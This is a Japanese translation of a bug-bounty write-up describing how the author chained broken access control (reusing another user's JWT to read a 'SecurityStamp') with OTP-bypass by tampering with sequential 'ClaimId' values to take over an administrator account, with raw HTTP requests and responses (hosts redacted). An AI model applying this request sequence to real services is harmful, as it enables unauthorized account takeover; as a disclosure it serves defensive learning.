Broken Access Control-OTP Bypass-Account Takeover から学ぶ

ソース:

medium.com

脆弱性:Broken Access Control(BAC)

 

訳:

壊れたアクセス制御

レビューでは、最初に Burp Suite ツールを使用して Web アプリケーションのレビューを開始しました。
私が気づいた最も重要な点は、API がバックグラウンドで使用されており、アプリケーション上のすべてのアクションが「Authorization」というタイトルの下で JWT トークンを使用して承認されていることです。

 

GET /api/Merchant/Merchant/ListUsers?sort=&group=&filter=&id=219 HTTP/1.1
Host: **********
Cookie:*************
Sec-Ch-Ua: "Not=A?Brand";v="99", "Chromium";v="118"
Userlanguage: tr
Sec-Ch-Ua-Mobile: ?0
Authorization: Bearer eyJh**************LoPNLEW8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.88 Safari/537.36
Userlocale: TR
Accept: application/json, text/plain, /
Tenantkey:
Sec-Ch-Ua-Platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: ************
Accept-Encoding: gzip, deflate, br
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

 

これらのリクエストに気づき、JWTトークンの変更だけで不正ユーザーがこれらの部分にアクセスできるかどうかを確認するために、認可ユーザーのトークンを不正ユーザーのトークンに置き換えました。
変更前のリクエストは以下の画像からアクセスできます。 

 

 

次に、次のリクエストで、使用されている JWT トークンを不正なユーザーの JWT トークンに置き換えました。 

 

GET /api/Merchant/Merchant/ListUsers?sort=&group=&filter=&id=219 HTTP/1.1
Host: *************
Cookie:*************
Sec-Ch-Ua: "Not=A?Brand";v="99", "Chromium";v="118"
Userlanguage: tr
Sec-Ch-Ua-Mobile: ?0
Authorization: Bearer eyJh*****************uXhMdRg
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.88 Safari/537.36
Userlocale: TR
Accept: application/json, text/plain, /
Tenantkey:
Sec-Ch-Ua-Platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: *****************
Accept-Encoding: gzip, deflate, br
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

 

 

HTTP レスポンスに 200 OK が書かれているのを見て、このレスポンスの「Name」セクションと「SecurityStamp」セクションに注目しました。 これらのコンテンツは私のユーザーのものではなかったため、許可されたユーザーの特定の情報にアクセスできました。 

 

OTP バイパス - アカウント乗っ取り

サイトを確認しているときに、後でパスワード リセット フィールドの値に気づきました。
既存のパスワードリセット欄のイメージは以下のようなものでした。

 

 

該当フィールドにユーザー名を入力して送信ボタンをクリックすると、そのアカウントに属するメールアドレスにパスワードリセットメールが送信されていることがわかりました。 

 

 

関連する URL の「code」フィールドが、Broken Access Control の脆弱性で見つかった「SecurityStamp」と同じであることに気付き。
これは、「SecurityStamp」コードを知っている限り、認証されたユーザーのパスワード リセット領域にアクセスできることを意味して。
次に、最初の段階で取得した権限のあるユーザーの「SecurityStamp」コードを使用して、パスワードリセット領域にアクセスしてみました。

 

取得したコードを使用すると、正規ユーザーのパスワードリセット領域にアクセスできました。
その後、このフィールドを発見したユーザー名を入力して通常の操作を実行しようとしましたが、OTP コードの存在によりこれが妨げられ。
私は主に自分のユーザーのためにリクエストを作成したかったの。
このエリアのリクエストは以下でご覧いただけ。 

 

`POST /api/Authenticate/validateClaim HTTP/1.1
Host: **************
Cookie:*************
Content-Length: 56
Sec-Ch-Ua: "Not=A?Brand";v="99", "Chromium";v="118"
Accept: application/json, text/plain, */*
Content-Type: application/json
Programid: 24
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.88 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: ***************
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: ****************
Accept-Encoding: gzip, deflate, br
Accept-Language: tr-TR,tr;q=0.9
Connection: close`

`{"ClaimId":33415,"OTPValue":"094523","VerifyOwner":true}`

 

このリクエストの「ClaimId」の部分に注目して、同じようにリクエストをもう1回行ったところ、このリクエストの「ClaimId」パラメータが次の番号33416であることがわかりました。
このとき、私はこう思いました。 。
2 つのアカウントでパスワード リセット フィールドを同時に開き、承認されたユーザーに対して行われたリクエストの「ClaimId」パラメーターを変更して自分のアカウント用に取得した OTP コードを使用した場合、機能しますか?
「SecurityStamp」コードを使ってパスワードリセットエリアにアクセスしました。
同時に、自分のユーザー内でも同じ操作を実行し始めました。

まず、自分のアカウントのパスワード リセット リンクを要求し。
その後、アクセス制御の脆弱性で取得した「SecurityStamp」コードを使用して、承認されたユーザーのパスワード リセット リンクにアクセスしました。
その後、自分のアカウントでも同じ取引を行い、両方のアカウントに OTP をリクエストしました。
自分のユーザーに対して行ったリクエストのコードは 33417 として返されました。
これは、許可されたユーザーに対して行ったリクエストのコードが 33418 として返されたことを意味します。
許可されたユーザーに対して行ったリクエストでは、「ClaimId」を変更しました。
パラメータを 33417 に入力し、届いた OTP コードを入力しました。

 

HTTP Request

 

`POST /api/Authenticate/validateClaim HTTP/1.1
Host: **********
Cookie:************
Content-Length: 56
Sec-Ch-Ua: "Not=A?Brand";v="99", "Chromium";v="118"
Accept: application/json, text/plain, */*
Content-Type: application/json
Programid: 24
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.88 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin:**********
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: **************
Accept-Encoding: gzip, deflate, br
Accept-Language: tr-TR,tr;q=0.9
Connection: close`

`{"ClaimId":33417,"OTPValue":"982207","VerifyOwner":true}`

 

HTTP Response

 

`HTTP/1.1 200 OK
Date: Mon, 22 Jan 2024 14:11:55 GMT
Content-Type: application/json; charset=utf-8
Connection: close
Vary: Accept-Encoding
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
permissions-Policy: value=***************
Content-Security-Policy: *************
Content-Length: 1`

`1`

 

後で、そのリクエストが別のリクエストにつながっていることがわかりました。 今回の要望は以下のようなものでした。 

 

`POST /api/Authenticate/resetPassword HTTP/1.1
Host: ************
Cookie:***********
Content-Length: 125
Sec-Ch-Ua: "Not=A?Brand";v="99", "Chromium";v="118"
Userlanguage: tr
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.88 Safari/537.36
Content-Type: application/json
Userlocale: TR
Accept: application/json, text/plain, */*
Sec-Ch-Ua-Platform: "Windows"
Origin: ************
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: *************
Accept-Encoding: gzip, deflate, br
Accept-Language: tr-TR,tr;q=0.9
Connection: close`

`{"username":"g*******t","password":"Y*******.","confirmPassword":"***********.","code":"8c53f***************1b39"}`

 

ここにある情報は完全に許可されたユーザーに属していました。 このリクエストを指示した後。
そしてビンゴ!!! 管理者アカウントを独り占めしていました。 

 

`HTTP/1.1 200 OK
Date: Mon, 22 Jan 2024 14:12:27 GMT
Content-Type: application/json; charset=utf-8
Connection: close
Vary: Accept-Encoding
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
permissions-Policy: value="***********"
Content-Security-Policy:***********
Content-Length: 72`

`{"Successful":true,"Message":"Şifreniz başarıyla oluşturulmuştur."}`

 

通常、プロセスの大部分は、この Web アプリケーションに固有のパスワードのリセットまたは変更を行ったときにセッションを終了することでした。 しかし、この方法でパスワードを変更しても、セッションは終了せず、アカウント所有者の魂さえもそれを聞きませんでした。 もう 1 つの発見は、パスワード リセット フィールドに古いパスワードを Esktra として入力できることです。 

 

ほなほな。